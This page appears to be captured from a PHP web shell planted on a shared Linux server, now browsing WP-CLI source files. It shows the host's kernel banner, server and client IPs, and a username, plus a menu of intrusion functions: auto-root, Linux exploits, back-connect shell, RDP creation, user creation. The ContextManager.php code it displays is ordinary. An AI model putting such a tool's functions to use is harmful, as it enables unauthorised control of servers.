Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
wp /
php /
WP_CLI /
[ HOME SHELL ]
Name
Size
Permission
Action
Bootstrap
[ DIR ]
drwxr-xr-x
Context
[ DIR ]
drwxr-xr-x
Dispatcher
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxr-xr-x
Fetchers
[ DIR ]
drwxr-xr-x
Iterators
[ DIR ]
drwxr-xr-x
Loggers
[ DIR ]
drwxr-xr-x
Traverser
[ DIR ]
drwxr-xr-x
Autoloader.php
4.54
KB
-rw-r--r--
Completions.php
4.5
KB
-rw-r--r--
ComposerIO.php
897
B
-rw-r--r--
Configurator.php
10.9
KB
-rw-r--r--
Context.php
589
B
-rw-r--r--
ContextManager.php
1.47
KB
-rw-r--r--
DocParser.php
4.01
KB
-rw-r--r--
ExitException.php
83
B
-rw-r--r--
Extractor.php
9.81
KB
-rw-r--r--
FileCache.php
8.57
KB
-rw-r--r--
Formatter.php
9.27
KB
-rw-r--r--
Inflector.php
16.07
KB
-rw-r--r--
NoOp.php
220
B
-rw-r--r--
PackageManagerEventSubscriber....
1.66
KB
-rw-r--r--
Process.php
3.5
KB
-rw-r--r--
ProcessRun.php
1.29
KB
-rw-r--r--
RequestsLibrary.php
7.23
KB
-rw-r--r--
Runner.php
60.08
KB
-rw-r--r--
SynopsisParser.php
4.67
KB
-rw-r--r--
SynopsisValidator.php
3.7
KB
-rw-r--r--
UpgraderSkin.php
1.86
KB
-rw-r--r--
WpHttpCacheManager.php
3.16
KB
-rw-r--r--
WpOrgApi.php
8.21
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ContextManager.php
<?php namespace WP_CLI; use WP_CLI; /** * Context manager to register_context and process different contexts that commands can * run within. */ final class ContextManager { /** * Associative array of context implementations. * * @var array<string, Context> */ private $contexts = []; /** * Store the current context. * * @var string Current context. */ private $current_context = Context::CLI; /** * Register a context with WP-CLI. * * @param string $name Name of the context. * @param Context $implementation Implementation of the context. */ public function register_context( $name, Context $implementation ) { $this->contexts[ $name ] = $implementation; } /** * Switch the context in which to run WP-CLI. * * @param array $config Associative array of configuration data. * @return void * * @throws ExitException When an invalid context was requested. */ public function switch_context( $config ) { $context = isset( $config['context'] ) ? $config['context'] : $this->current_context; if ( ! array_key_exists( $context, $this->contexts ) ) { WP_CLI::error( "Unknown context '{$context}'" ); } WP_CLI::debug( "Using context '{$context}'", Context::DEBUG_GROUP ); $this->current_context = $context; $this->contexts[ $context ]->process( $config ); } /** * Return the current context. * * @return string Current context. */ public function get_context() { return $this->current_context; } }
Close